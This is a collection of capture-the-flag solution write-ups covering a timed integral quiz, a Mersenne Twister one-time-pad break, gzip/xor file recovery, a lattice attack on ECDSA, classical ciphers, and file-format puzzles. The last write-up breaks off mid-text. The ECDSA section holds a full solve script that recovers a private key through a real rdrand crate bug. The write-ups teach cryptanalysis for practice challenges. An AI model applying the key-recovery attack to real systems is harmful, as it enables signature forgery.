```shmj0ln1r@AHLinux:~/babycalc$ nc 20.169.252.240 4200Welcome to the Baby Calculator! Answer 40 questions in a minute to get the flag.The difference between your input and the correct answer must be less than 1e-6.[+] Question 1:Evaluate the integral of: 4/x from 3 to 7.> Answer:
```
It was asking us to do integral of `4/x from 3 to 7`, It was easy to do with `scipy` module of python
```pythonfrom scipy.integrate import quaddef compute_integral(func, lower_limit, upper_limit): integral, error = quad(func, lower_limit, upper_limit) return integraldef f(x): return 4/x compute_integral(f,3,7)
```
But it was difficult to answer 40 questions in a minute. So, I used `pwntools` to automate this process.
This is my solution script.
```pythonfrom math import cos, exp, pi,sinfrom scipy.integrate import quadfrom pwn import *
def compute_integral(func, lower_limit, upper_limit): integral, error = quad(func, lower_limit, upper_limit) return integraldef f(x): return eval(exp)conn = remote('20.169.252.240',4200)for i in range(40): conn.recvuntil(b'Evaluate the integral of: ') exp = conn.recvuntil(b' ').decode() r = conn.recvuntil(b'.').decode().strip('.') r = r.split(" ") ranges = [int(r[1]),int(r[3])] integral = compute_integral(f, ranges[0], ranges[1]) print(integral) conn.recv() conn.sendline(str(integral).encode()) if i == 39: print(conn.recv())
# cvctf{B4by_m@7h_G14n7_5t3P}```
> `Flag : cvctf{B4by_m@7h_G14n7_5t3P}`
# [Original Writeup](https://themj0ln1r.github.io/posts/cryptoversectf23) |
# Perfect Secrecy — Solution
We are given a file `challenge.py` along with its output in `output.txt`. Let'sinspect source code.
```python#!/usr/bin/python3
import random
def encrypt(m_bytes): l = len(m_bytes) pad = random.getrandbits(l * 8).to_bytes(l, 'big') return bytes([a ^ b for (a, b) in zip(m_bytes, pad)]).hex()
def main(): flag = open("flag.txt", "rb").read() assert(flag.startswith(b"Blockhouse{") and flag.endswith(b"}")) [print(encrypt(flag)) for _ in range(300)]
if __name__ == '__main__': main()```
The code is short and sweet. Basically, we know the following: * Flag has the format `Blockhouse{...}`. * We have $300$ ciphertexts obtained by encrypting the flag using the [One-time Pad](https://en.wikipedia.org/wiki/One-time_pad). * Each ciphertext was obtained using a different, freshly generated key.
On the surface, this challenge is indeed unbreakable, as one-time pad really doesoffer[perfect secrecy](https://en.wikipedia.org/wiki/One-time_pad#Perfect_secrecy), and weshouldn't be able to recover the flag if the implementation is correct.
For this property to hold, it is pivotal that: * The secret key has the same length as the plaintext. * The secret key must never be reused. * The secret key must be uniformly distributed in the set of all possible keys and independent of the plaintext.
The first two points obviously hold, what about the third one?
Let's investigate our source of randomness, i.e.[random](https://docs.python.org/3/library/random.html) from Python's standardlibrary.
As soon as you open the documentation, you should notice the following big, red box:

This looks like our ticket to success. If we crack the random number generator,it is game over. Let's take a look under the hood:
```textPython uses the Mersenne Twister as the core generator. It produces 53-bit precision floats and has a period of 2**19937-1. The underlying implementation in C is both fast and threadsafe. The Mersenne Twister is one of the most extensively tested random number generators in existence. However, being completely deterministic, it is not suitable for all purposes, and is completely unsuitable for cryptographic purposes.```
Ah, the core generator in Python's standard library is the [MersenneTwister](https://en.wikipedia.org/wiki/Mersenne_Twister). This is a well-knownpseudorandom number generator, and there are a bunch of resources online on[how to crackit](https://jazzy.id.au/2010/09/22/cracking_random_number_generators_part_3.html).It is also easy to find [python-specificimplementations](https://github.com/tna0y/Python-random-module-cracker).
That's it, we just need $624$ consecutive $32$-bit integers from the generator.Wait, what? Where are we supposed to get that?
Let's see what we can obtain...
We know the flag format, therefore, we know all of the randomly generated bitsthat correspond to bits in the plaintext with characters `Blockhouse{}`. Thismeans we only know some partial output from the generator, such as:
```text1111110001000001100000110111101000110110100111010100001010000011110001011010001111101001????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????011011100001100011000011010110000000001001000101000001101000110010001011101011011011110110010111????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????001010100110101100100001101101101010101111101010001010110011000110010100110011100111000010011110????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????100011111000000000110100010000010110111010111111001000001011100111000011011111001110101100110101????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????111001110111001011000101101010111010100000010001110000100011111011011000001010110110010000100000????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????11100010```
Luckily, given enough partial data, it is still possible to symbolicallydetermine the internal state of the generator. There are also correct,python-specific implementations [available online](https://github.com/icemonster/symbolic_mersenne_cracker/tree/main).
Feeding our partial output into the symbolic cracker gives us the flag:`Blockhouse{Cr4ck_m3_4_6en3r470r}` |
# Tarry night
**tl;dr:**
```bash$ # fix gzip file$ printf '\x1f\x8b\x08' > patched.tar.gz$ cat tarry_night.tar.gz >> patched.tar.gz$ # decompress$ gunzip patched.tar.gz$ # bruteforce xor key$ xortool -b -l 1 patched.tar```
This was a neat file recovery forensics challenge from the 2023 Space Heroes CTF that was blooded in about 20 minutes. It was one of the least solved forensics challenges with 32 solves, which was surprising because it felt like a pretty basic forensics challenge, even when compared to some of the other challenges from this CTF.
## Challenge
**Description**
>I compressed my favorite painting for transport, but I got a little too curious and started playing around with it, and now I can't get my image back! Can you help me out?MD5 (tarry_night.tar.gz) = ad711ccde1ef02fb3611cae67477dde2
[tarry_night.tar.gz](https://github.com/Samwise74/Writeups/raw/master/2023-SpaceHeroesCTF-tarry_night/tarry_night.tar.gz)
## Solution
We are given a file with the extension `.tar.gz`, but `file` doesn't recognize the filetype of this artifact.
```bash$ file tarry_night.tar.gz tarry_night.tar.gz: data```
### Step 1 - Decompressing
Let's assume, at least for starters, that the challenge authors are not lying to us and this is indeed a `.tar.gz` file (the description supports this assumption). We know that `.tar.gz` files are just `.tar` files compressed with GZIP, so we first need to recover the `.gz` header. The first thing we should do is figure out what type of file header is expected for a `.gz` file by consulting [some documentation](https://commandlinefanatic.com/cgi-bin/showarticle.cgi?article=art053):| Offset | Value | Description ||--|--|--|| 0x0 | `1f 8b` | Standard GZIP declaration || 0x2 | `byte` | Compression method: 0x08 represents GZIP || 0x3 | `byte` | Flags (See below) || 0x4 | `dword` | Timestamp || 0x8 | `byte` | Extra flags || 0x9 | `byte` | Operating System |
If we compare that with the first few bytes of the artifact, it doesn't line up at all. Most significantly, we don't see the magic bytes (`\x1f\x8b`) that would identify this file as GZIP:
```bash$ xxd tarry_night.tar.gz | head -200000000: 08ad 372b 6400 0374 6172 7279 5f6e 6967 ..7+d..tarry_nig00000010: 6874 2e74 6172 00ec fc65 54a5 4bb3 268a ht.tar...eT.K.&.```
For file recovery challenges like these, it's usually best to compare a known-good file of the same filetype as whatever artifact we're working on. That typically makes it pretty easy to see what's out of place. Here is the header of another random `.tar.gz` in my ctf directory:
```bash$ xxd ./hack-a-sat/pwn/warning_public.tar.gz | head -200000000: 1f8b 0800 0000 0000 0003 ec5c 0d74 1455 ...........\.t.U00000010: 967e dd49 9310 0209 0a8a 8052 2820 18d2 .~.I.......R( ..```
Notice how the challenge artifact has the name of the file "tarry_night.tar" near the header, but this other file does not. That is because of the `Flags` field in the header (offset 3). This value is is `\x00` in the known-good file. The `Flags` byte is meant to be interpreted as a bitmask. If Bit 3 (0x8) is set in this byte, it means that the name of the compressed file immediately follows the header. Thus, we can identify the end of the header by the start of this string. If we count backwards from the start of the string, we count 7 total header bytes. The GZIP header should be 10 bytes, which means we are missing three. It makes sense for the first byte in the artifact (`\x08`) to be the `Flags` byte since it is a value indicating that the name of the file will be present following the header (`\x08`). Also, we know we are missing the first two magic bytes because they are constant. Thus, we can reasonably assume that we're missing the first three bytes of the `.gz` header (`\x1f\x8b\x08`).
Let's try prepending these missing header bytes onto the artifact:
```bash$ printf '\x1f\x8b\x08' > patched.tar.gz$ cat tarry_night.tar.gz >> patched.tar.gz$ file patched.tar.gz patched.tar.gz: gzip compressed data, was "tarry_night.tar", last modified: Mon Apr 3 20:31:41 2023, from Unix, original size modulo 2^32 1290240```
Nice! We get seemingly valid GZIP data. Let's decompress it
```bash$ gunzip patched.tar.gz$ file patched.tar patched.tar: data```It's a valid `.gz`, but not a valid `.tar.gz`.
### Step 2 - XORing
We need to figure out what's going on with the decompressed tar file. Let's start with a known-good file of this type:
```bash$ xxd ./idekCTF/side_effect/side_effect.tar | head -1000000000: 6174 7461 6368 6d65 6e74 732f 0000 0000 attachments/....00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000060: 0000 0000 3030 3030 3737 3700 3030 3031 ....0000777.000100000070: 3735 3000 3030 3031 3735 3000 3030 3030 750.0001750.000000000080: 3030 3030 3030 3000 3134 3335 3735 3533 0000000.1435755300000090: 3435 3000 3031 3131 3630 0020 3500 0000 450.011160. 5...```
The good file starts with the name of a directory followed by a bunch of nulls, and if we consult [some documentation](https://www.gnu.org/software/tar/manual/html_node/Standard.html), we see that the start of a tar block begins with a `char name[100];`. This matches what we're seeing perfectly, so what's going on with the artifact? ```bash$ xxd patched.tar | head -1000000000: 6a60 6d6b 2266 7c6b 0c0c 0c0c 0c0c 0c0c j`mk"f|k........00000010: 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c ................00000020: 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c ................00000030: 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c ................00000040: 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c ................00000050: 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c 0c0c ................00000060: 0c0c 0c0c 3c3c 3c3c 3a38 380c 3c3c 3c3d ....<<<<:88.<<<=00000070: 3b39 3c0c 3c3c 3c3d 3b39 3c0c 3c3c 3c3c ;9<.<<<=;9<.<<<<00000080: 383b 3c3e 3d3e 390c 3d38 383d 3e3a 3f3f 8;<>=>9.=88=>:??00000090: 3f3a 3e0c 3c3d 3e3f 3f3a 0c2c 3c0c 0c0c ?:>.<=>??:.,<...```
We see a bunch of repeating `\x0c`'s where there should be nulls. At this point, a reasonable assumption is that those `\x0c`'s could be `\x00`'s xor'd with `\x0c`. For speed (and fb) purposes, a good next step would be to immediately run [xortool](https://github.com/hellman/xortool), but let's do a little analysis first to check our assumption by trying to decode the file name at the start of the archive:
```python>>> [chr(x ^ 0xc) for x in bytes.fromhex('6A 60 6D 6B 22 66 7C 6B')]['f', 'l', 'a', 'g', '.', 'j', 'p', 'g']```
This confirms our assumption, let's get the whole file with xortool:
```bash$ xortool -b -l 1 patched.tar 256 possible key(s) of length 1:\x0c\r\x0e\x0f\x08...Found 0 plaintexts with 95%+ valid charactersSee files filename-key.csv, filename-char_used-perc_valid.csv
$ file xortool_out/*xortool_out/000.out: POSIX tar archive (GNU)xortool_out/001.out: dataxortool_out/002.out: dataxortool_out/003.out: dataxortool_out/004.out: data<snip>$ tar tf xortool_out/000.outflag.jpg```
And we get a flag:
 |
# Memory Safe ECDSA — Solution
We are given a `.zip` archive containing the implementation of the server alongwith a connection string. When we connect to the server, we receive thefollowing data:

The setup seems straightforward: * We have the hash of the flag. * We can obtain [ECDSA](https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm) signatures of arbitrary messages * We must produce a valid digital signature for the flag.
If the server is correctly implemented, this should be impossible. Let's check out theimplementation.
```rustconst BASE_POINT_ORDER_BYTE_SIZE: usize = <NistP224 as Curve>::FieldBytesSize::USIZE;```
The curve being used is [secp224r1](https://neuromancer.sk/std/nist/P-224),there doesn't seem to be anything fishy about the curve choice.
Moving on to the piece of code that produces and verifies digital signatures.
```rustfn sign(private_key: &[u8], m_bytes: &[u8]) -> (Vec<u8>, Vec<u8>) { let d = bytes_into_scalar(private_key);
let k_bytes = random_byte_array::<BASE_POINT_ORDER_BYTE_SIZE>(); let k = bytes_into_scalar(&k_bytes);
let e = hex::decode(sha256::digest(m_bytes)).expect("Error"); let z = GenericArray::clone_from_slice(&e[..BASE_POINT_ORDER_BYTE_SIZE]);
let sig = d.try_sign_prehashed(k, &z).expect("Error"); (sig.0.r().to_bytes().to_vec(), sig.0.s().to_bytes().to_vec())}
fn verify(q: &AffinePoint, m_bytes: &[u8], sig: (&[u8], &[u8])) -> bool { let e = hex::decode(sha256::digest(m_bytes)).expect("Error"); let z = GenericArray::clone_from_slice(&e[..BASE_POINT_ORDER_BYTE_SIZE]);
let sig = Signature::from_scalars( GenericArray::clone_from_slice(sig.0), GenericArray::clone_from_slice(sig.1), ) .expect("Error");
q.verify_prehashed(&z, &sig).is_ok()}```
Again, the implementation looks reasonable.
We also know that the source of randomness is extremely important whenproducing ECDSA signatures, both for generating the private key and the noncevalue $k$ when signing each message.
```rustfn random_byte_array<const SIZE: usize>() -> [u8; SIZE] { let mut rng = RdRand::new().expect("Error"); let mut ret = [0u8; SIZE]; rng.try_fill_bytes(&mut ret).expect("Error"); ret}```
The server uses Intel's [read random](https://en.wikipedia.org/wiki/RDRAND)instruction, this should be a cryptographically secure source of randomness.
What about the interaction with the user?
```rust let mut scanner = Scanner::default();
for _ in 0..MAX_QUERIES { output("\n"); output("?: ");
let option = scanner.next::<usize>();
match option { 1 => { output("\n"); output("?: What do you want to sign?\n"); output("\n"); output("?: ");
let message = scanner.next::<String>(); let (r, s) = sign(&private_key, message.as_bytes());
output("\n"); output(format!("?: signature = {} {}\n", hex::encode(r), hex::encode(s)).as_str()); } 2 => { output("\n"); output("?: So... you have a signed flag?\n"); output("\n"); output("?: ");
let r = scanner.next::<String>(); let s = scanner.next::<String>();
let r_bytes = hex::decode(r).expect("Error"); let s_bytes = hex::decode(s).expect("Error");
match verify(q, flag.as_bytes(), (&r_bytes, &s_bytes)) { false => { output("\n"); output("?: hahaha... you clown... your efforts are futile!!\n"); std::process::exit(0x0); } true => { output("\n"); output("?: Wow... looks like you're not a clown after all!\n"); output("\n"); output(format!("?: ? = {}\n", flag).as_str()); std::process::exit(0x0); } }; } _ => done(), } }```
Everything looks good here as well...
All in all, the implementation looks fine. If that's the case, what couldpossibly allow us to obtain a correct flag signature?
Well, the code we see here is just the tip of the iceberg. Let's check itsdependencies to see if they somehow violate the security of the application.Let's see what we have in `Cargo.toml`.
```toml[package]name = "memory_safe_ecdsa"version = "0.1.0"edition = "2021"
[dependencies]ecdsa = { version = "=0.16", features = ["arithmetic", "hazmat"] }hex = { version = "=0.4.3" }p224 = { version = "=0.13", features = ["ecdsa"] }rdrand = { version = "=0.8.0" }sha256 = { version = "=1.1.2" }```
All of these dependencies make sense in the context of an ECDSA challenge.Still, depending on `rdrand` looks almost too secure. This should [scratch thatpart of your mind](https://www.youtube.com/watch?v=QqknSms8VVI).
Let's dig a bit deeper around the[rust_rdrand](https://github.com/nagisa/rust_rdrand) crate. You'll quicklyfind [this issue](https://github.com/nagisa/rust_rdrand/issues/18) claimingthat `rdrand::RdRand::try_fill_bytes` only partially fills the destinationvector in certain situations. Also, look at the username of the personsubmitting the issue — they are from TBTL, this must be it!
Of course, the version of the dependency is the one containing thatvulnerability. Let's convince ourselves that it's actually relevant to thechallenge. For starters, the bug only manifests itself if the destinationvector has a size that is not a multiple of `WORD_SIZE` on that particularmachine.
```rustconst BASE_POINT_ORDER_BYTE_SIZE: usize = <NistP224 as Curve>::FieldBytesSize::USIZE;
// lots of lines omitted
let k_bytes = random_byte_array::<BASE_POINT_ORDER_BYTE_SIZE>();
// lots of lines omitted
let private_key = random_byte_array::<BASE_POINT_ORDER_BYTE_SIZE>();```
The order of our group has $224$ bits, this is $28$ bytes. There is a highprobability that the server has word size of $8$, and $28$ is not a multiple of$8$. Therefore, there is a good chance that both private key and every nonce isbiased, i.e. has a suffix of zeros.
This leads us directly to a [very well-known lattice-based attack onECDSA](https://eprint.iacr.org/2019/023.pdf). The attack is very-welldocumented in the paper, but you can also find [numerous writeups withimplementations](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#impeccable)of this attack from former CTFs.
Putting it all together in a (relatively ugly) solve script:
```pythonfrom Crypto.Util.number import *from pwn import *
import ecdsaimport hashlib
MAX_QUERIES = 10
r = process("./target/release/memory_safe_ecdsa")
def get_flag_hash(): l = log.progress("Getting flag hash")
for _ in range(36): r.recvline()
flag_hash = r.recvline().decode("utf-8").split()[-1].strip()
l.success(f"Done -- {flag_hash}")
return flag_hash
def collect_signatures(): l = log.progress("Collecting signatures")
sigs = {}
for i in range(MAX_QUERIES - 1): r.recvuntil(b"\xf0\x9f\xa4\xa1: ") r.sendline('1'.encode("utf-8"))
r.recvuntil(b"\xf0\x9f\xa4\xa1: ") r.sendline(str(i).encode("utf-8"))
r.recvline()
sig_tokens = r.recvline().decode("utf-8").strip().split() sig = (sig_tokens[-2], sig_tokens[-1]) sigs[str(i)] = sig
l.success("Done")
return sigs
def leak_private_key(): l = log.progress("Leaking private key")
f = open("leak.in", "w") f.write(f"{n}\n")
for (mi, (ri_hex, si_hex)) in sigs.items(): hi = bytes_to_long(hashlib.sha256(mi.encode("utf-8")).digest()[:28]) ri = bytes_to_long(bytes.fromhex(ri_hex)) si = bytes_to_long(bytes.fromhex(si_hex)) f.write(f"{hi} {ri} {si}\n")
f.close()
r1 = process("./leak.sage") key_leak = int(r1.recvline().decode("utf-8")) r1.close()
l.success("Done " + str(key_leak))
return key_leak
def sign_flag(): l = log.progress("Signing flag")
h = bytes_to_long(bytes.fromhex(flag_hash)[:28]) k = 1337
sig_r = (k * G).x() sig_s = inverse(k, n) * (h + sig_r * private_key) % n
r_hex = hex(sig_r)[2:] s_hex = hex(sig_s)[2:]
r.recvuntil(b"\xf0\x9f\xa4\xa1: ") r.sendline('2'.encode("utf-8"))
r.recvuntil(b"\xf0\x9f\xa4\xa1: ") r.sendline((r_hex + " " + s_hex).encode("utf-8"))
r.recvuntil(b"\xf0\x9f\x9a\xa9 = ") flag = r.recvline().decode("utf-8") r.close()
l.success("Done " + flag)
Curve = ecdsa.NIST224pG = Curve.generatorn = Curve.order
flag_hash = get_flag_hash()sigs = collect_signatures()private_key = leak_private_key()sign_flag()```
The script internally calls `leak.sage` to do the heavy lifting:
```sage#!/usr/bin/sage
f_lines = open("leak.in", "r").readlines()
n = int(f_lines[0])hashes, sigs = [], []
for line in f_lines[1:]: hi, ri, si = map(int, line.split()) hashes.append(hi) sigs.append((ri, si))
Zn = Zmod(n)N = len(sigs)lo = 32B = 2^(224 - 32)
M = [[0] * i + [n] + [0] * (N - i + 1) for i in range(N)]
Ts = [int(Zn(ri / (Zn(si)))) for (ri, si) in sigs]M.append(Ts + [B/n, 0])
As = [int(Zn(-hi / (Zn(si * 2^lo)))) + B for (hi, (ri, si)) in zip(hashes, sigs)]M.append(As + [0, B])
M = Matrix(M)
M = M.LLL()
for (i, row) in enumerate(M): if row[-1] == B: priv_key = -int(row[-2] * n / B) * 2^lo print(priv_key)```
This finally reveals the flag: `TBTL{S4f3_l4n6u4g35_d0n7_pr3ven7_d3vel0p3r5_fr0m_wr1tin6_bug6y_c0d3}` |
# Classical Conundrum — Solution
In this challenge, we are given the following encrypted message:
```Dppjwi#,0:o=>oC n> a1,\,u;?k: u9;t AjLQvZm) Ffqe hq tgh] /n<4k AvLMo;q
: r N 2 | # 2 tb G a W [ 3 d bC < t M 6 l ~ DY Q $ V + + X 07 , 6 z B I . Ao - b u M % x Y? p ! / ^ { @ W= : X E 5 3 : @
2jI t8@t<3 A<X #1; b^u9\ bGyc Kgp dle 9sg cpfWLK.sB4k Dp>Hw?H{ TL w77 <5xY \7( s]ji esef vr m{!3R CDs =hDCi1 c+r6 t;9m6 zBI MF~as)1,
OCD QJ ;}!r8~&
toF;xIBnYgB/ 73b<5qB j7 L enpuhpn uq kq{y"iHAj32s5 c8*Z/9 >f74f? jA f B~Zqodj frhmbBg\YE y6EnG8i 6r:>9 UR@h 4x 2xC3 =,P( llGppjoi yw ,2Ej7: C6bB4q?S *| Ek8 f=Ef ?sHU*
Okc pudrr dk ZLS B;d 4i3?o;GtK B? CAt88~Cd,/ #`nkmhog bpg xr)7>q9Ab>4d 8p 7b0 .DlH7i'o79wLRvaldqe dabg idfXu *s2 dH6sK fEFzGa=H09dC<x A`*6Nuasd. xiui h{m!0 D`MBuB@j5 ^@ [{{-
v>u2@h?9i G% i fmnoldw j\rX M/ B8b:?p>BjORTWE1vB>x Cd0@^1-Yt$ cqq tibv tvr 1RnH4sIM?C 32i%{0 rCZ E:fLYqE +e# htfqy spf^c TL y68 4@p=V;<$X\G3 C:d 6k05' -^ Yqi hu upqn
T)):o 7b3<dBB ?.X' =>b DiC;m? t? +[m ksosQ`afi_ LE*n<Fs Ei7 fBHpQ} @k4K 35`A o1) ojzkv
Io uhfzp} Ha 5m18rZ q4.l ",7k 5w6Dz @nGC?m\ygof mn pogaP >sBHq@6e\ w>>( TB9 CA D8h=3
nZ|cnki gos rdy|r)2L' 0o4 `>0iEC\*t 9l75tHfEM ;W+X `{_nhndc* ig X?=y3E F9f ?r7=```
The challenge description states that there is no advanced math involved, andthat it has a *good old days* type of vibe. These types of challenges areusually all about ~~reading the author's mind~~ the times when cryptography wasmore of a creative/artistic endeavor, rather than a hard science. The secretsauce is usually in the *clever* way the ciphertext was crafted (e.g.[cryptex](https://en.wikipedia.org/wiki/Cryptex), [bookcipher](https://en.wikipedia.org/wiki/Book_cipher)).
In that light, let's try to analyze the secret message.
At the first glance, it looks like some kind of substitution cipher. We can seethe outline of the message, and looks like a single character of the plaintextwas somehow replaced by some ciphertext character.
The usual suspects may be quickly exhausted by using a tool such as [cyberchef](https://gchq.github.io/CyberChef/). Most likely, there is some customflavour added into the mix.
There are multiple ways to approach this. For example, we could assume that themajority of the text is written in the English language, as we can clearly seethe whitespace, and the lengths of the tokens could potentially match somethingyou'd expect from an English text.
Also, we can observe that the ciphertext alphabet consists of ASCII printablecharacters. The first idea that comes to mind when we're dealing with analphabet of ASCII printable characters is something similar to[rot47](https://dencode.com/en/cipher/rot47), but it doesn't work out of the box.
Let's try to abuse the specifics of English texts. There are a couple of validapproaches (e.g. assume trigrams correspond to English word `the`), but in thiscase it just so happens that it may be easiest to focus on the first word— `Dppjwi#,0:o=>oC`. It has $15$ letters, let's try to find most common$15$-letter English words by inspecting some datasets such as [thisone](https://www.kaggle.com/datasets/rtatman/english-word-frequency).
A couple of most common $15$-letter words are:
```textrecommendationscharacteristicsrepresentativespharmaceuticalscongratulationsrepresentationstroubleshootinginternationallyconfidentialityinstrumentationnotwithstandingvulnerabilities```
Out of those, `congratulations` immediately stands out because it looks like agood sentence-opening word, and it also makes sense in the context of thechallenge.
Let's see: * `D` is one letter away from `C`, * `p` is one letter away from `o`, * `p` is two letters away from `n`, * `j` is three letters away from `g`, * `w` is five letters away from `r`, * `i` is eight letters away from `a`, * ...
And the pattern emerges, the distances are Fibonacci numbers. Assumingeverything was computed modulo the number of printable characters, we quicklydecrypt the message and get:
```Congratulations on deciphring this message. Here is your final puzzle:
G H ! 3 N T 7 RU B _ V Z 1 _ U! A G } 7 ? T QL { Q U Y X S RD 1 8 { C K 3 N3 ( 1 E L R D LL F R 0 0 N E 50 5 V D 4 1 5 3
You should use the 10th, 1st, 6th and 9th fundamental solution as the key, and feel free to enjoy our little poem while you think...
ODE TO H4CK3RS
Enthusiastic hackers on a mission to findIntricate flags, hidden in a digital grindGoing through code, byte by byte they goHoping to unlock secrets, no one else knows
The quest is on, the challenge is toughQuick thinking and perseverance is not enoughUnderstanding each line, and every commandEagerly searching, with every keystroke at hand
Entangled in a complex maze of technologyEndlessly searching, for that one mysteryNot giving up, they'll try every trick in the bookSecuring the flag, is all it took
Great hackers seek the thrill of the huntRacing against the clock, they bear the brunt
In search of flags, they scan every lineLeaving no stone unturned, they aim to shine
Looking for patterns, and analyzing codeEvery byte examined, no matter the load```
Ok, we have some grid of characters, mentions of *fundamental solutions* and anice-little poem.
Poems have historically been used to hide some sort of information. Maybe themost famous type of such poem is an[acrostic](https://en.wikipedia.org/wiki/Acrostic). As you can see, the poemfrom the challenge is an example of an acrostic, and first letter of each linespells out `EIGHTQUEENSGRILLE`.
What is a grille?
[Grille](https://en.wikipedia.org/wiki/Grille_(cryptography)) is a cipher basedon a grid of characters, such as the one we have. The only thing left to do is tofigure out the secret key to the grille cipher.
```You should use the 10th, 1st, 6th and 9th fundamental solution as the key...```
Now, the only unused hints are *8 queens* and some sort of *fundamentalsolutions*. You guessed it, this is referring to the famous [8 queenspuzzle](https://en.wikipedia.org/wiki/Eight_queens_puzzle). It has $12$ fundamentalsolutions.

Taking only the letters corresponding to queens in 10th, 1st, 6th, and 9thsolution spells out the flag: `TBTL{L0V3_GR1LL1N_QU33N5!1}` |
# All the Data — Solution
An unknown file called `data`, how original...
Let's go through the standard checklist to figure out what type of file we'redealing with.

This looks useless, let's try invoking `strings data`. Bingo, we finally findsome useful information:

Looks like we are dealing with a [WAD file](https://doomwiki.org/wiki/WAD)— a file format used by Doom engine based games for storing data. WADactually stands for "Where's All the Data?", which makes the challenge titleand description make more sense.
Wait a minute, how come `file data` didn't recognize the WAD format? Is itcorrupted? Let's try to inspect its bytes...

Of course, the first few bytes of the file header are wrong. Luckily, it's easyto figure out they should spell out `PWAD`. After fixing the header in ourfavourite hex editor, we get:

We may now be tempted to fire up DOOM and rip & tear through the game. Whilebeing fun, it will be very hard, if not impossible to extract the flag thisway. Instead, let's open up the WAD file in a DOOM level editor, such as[eureka](https://eureka-editor.sourceforge.net/).
Going through the good old [E1M1:Hangar](https://doom.fandom.com/wiki/E1M1:_Hangar_(Doom)), we see the firstglimpse of the flag in the nukage pool outside.

Further inspecting the subsequent levels yields:






Putting it all together, we get the first flag: `TBTL{Wh47ch4_G07_1n_7h3r3?}`.
The second flag is hiding in [E1M8: PhobosAnomaly](https://doom.fandom.com/wiki/E1M8:_Phobos_Anomaly_(Doom)), but it has atwist:

We have the word `SCRAMBLE` and a bunch of numbers. Presumably, each numbercorresponds to one character of the flag.
Crypto enthusiasts probably unscrambled the numbers without external help sincethe cipher is not particularly strong. However, the intended way of approachingthis was to find the connection with DOOM, and that connection is [cheat codeencryption](http://justsolve.archiveteam.org/wiki/Doom_cheat_code_encryption).
Once we find that, it's trivial to uncover the second flag:`TBTL{1n_h3r3?_D0oOo0M!}`.
**Easter Egg:** When combined, the two flags reference [this piece ofdialogue](https://www.youtube.com/watch?v=8K0oeM0wHeY) from [The Color ofMoney](https://www.imdb.com/title/tt0090863/), which was the inspiration forthe name of the game that changed the world. |
# Hungry Hacker — Solution
We are given a file called `piz.za`, let's figure out what it is.

Looks like we're dealing with a `.png` image, nothing suspicious thus far.When opened, we see a [DALL-E](https://openai.com/product/dall-e-2) generatedimage of a pizza slice.

At this point you may be tempted to run a bunch of steganography tools andtechniques, but they won't get you far.
Instead, let's dump the bytes of the file and see if something feelssuspicious. Well, to know if something feels suspicious, we first need to knowwhat to expect. After some research, you should easily come across very detaileddescriptions of the `.png` file format.

It's easy to see that `piz.za` doesn't end with `IEND` followed by CRC data.

Since the image is displaying correctly, the file probably contains a valid PNGfooter, followed by some unknown bytes. Let's carve out the part of the filefollowing the PNG footer, and inspect it.
Note that these bytes end with `\0x04\0x03\0x4b\0x50`, or in ascii `♦♥KP`. Whenreversed, the bytes spell out `PK♥♦`, which is one of the most famous fileheaders, that of a `.zip` archive.
Indeed, reversing the suffix in question gets us a valid `.zip` archive.Additionally, you may note that `piz.za` reversed spells out `az.zip`, whichmay also point you in the right direction.
Extracting the contents of `az.zip` we get the following files:
```0.png 2.png 4.png 6.png 8.png A.png C.png E.png G.png I.png K.png M.png O.png {.png P.png R.png T.png V.png X.png Z.png1.png 3.png 5.png 7.png 9.png B.png D.png F.png H.png J.png L.png N.png _.png }.png Q.png S.png U.png W.png Y.png```
These images depict the characters from their corresponding titles. Inspectingtheir metadata (e.g. using `exiftool`) reveals an interesting array of numbers.For example, image `T.png` contains numbers `[1, 3, 6, 26, 30]` in itsmetadata. We already know that the first and third letters of the flag must be`T`, so its reasonable to assume that these numbers correspond to positions inthe flag where that specific character appears.
It's now just a matter of writing a simple script that uncovers the flag —`TBTL{TH3R3_15_N0_PIZZ4_W1TH0UT_ZIP}`. |
# A Matter of Life and Death — Solution
The challenge description mentions a cat, and you are given a very long list ofinteger pairs called `alive`. Weird...
A reasonable approach would be to assume these integer pairs are coordinates.Let's plot them and hope they simply spell out the flag.

The points definitely don't spell out the flag, but they don't look randomeither. Let's enhance...

An experienced eye might recognize these shapes, but suppose we're not thatlucky.
Let's recap what we know so far: * When interpreted as points on a plane, the contents of `alive` file seem to produce some deliberatly made shapes in the plane. * The challenge description contains some weird sentence about the definition of a cat. * The title of the challenge, and the name of the file seem to revolve around life and death.
Let's google the sentence from the challenge description.
We quickly find [this video](https://www.youtube.com/watch?v=FdMzngWchDk) ofJohn Conway talking about his game of life. It should now be obvious that thecontents of `alive` represent the initial state of the world in the game of life.
Now we simply plug that into a simulator, and let the nature do its wonder:

**Easter Egg:** The flag contains a lyric from [thissong](https://www.youtube.com/watch?v=o7X3LYGV_N8), which in turn referencesthe [Monster group](https://en.wikipedia.org/wiki/Monster_group) — abeautiful, very large, symmetrical thing that John Conway seemed to be[somewhat interested in](https://www.youtube.com/watch?v=xOCe5HUObD4). |
# Security Camera — Solution
We are given an hour-long[video](https://drive.google.com/file/d/1-IJrGdyG2trFLLIrIKZfSTd7eo9IMwlV/view)of an office workstation in which seemingly nothing interesting happens.
Looking at the video more carefully, you will notice that the brightness levelof the laptop screen seems to be changing from time to time. Could it be that somesecret data is getting exfiltrated through the screen brightness?
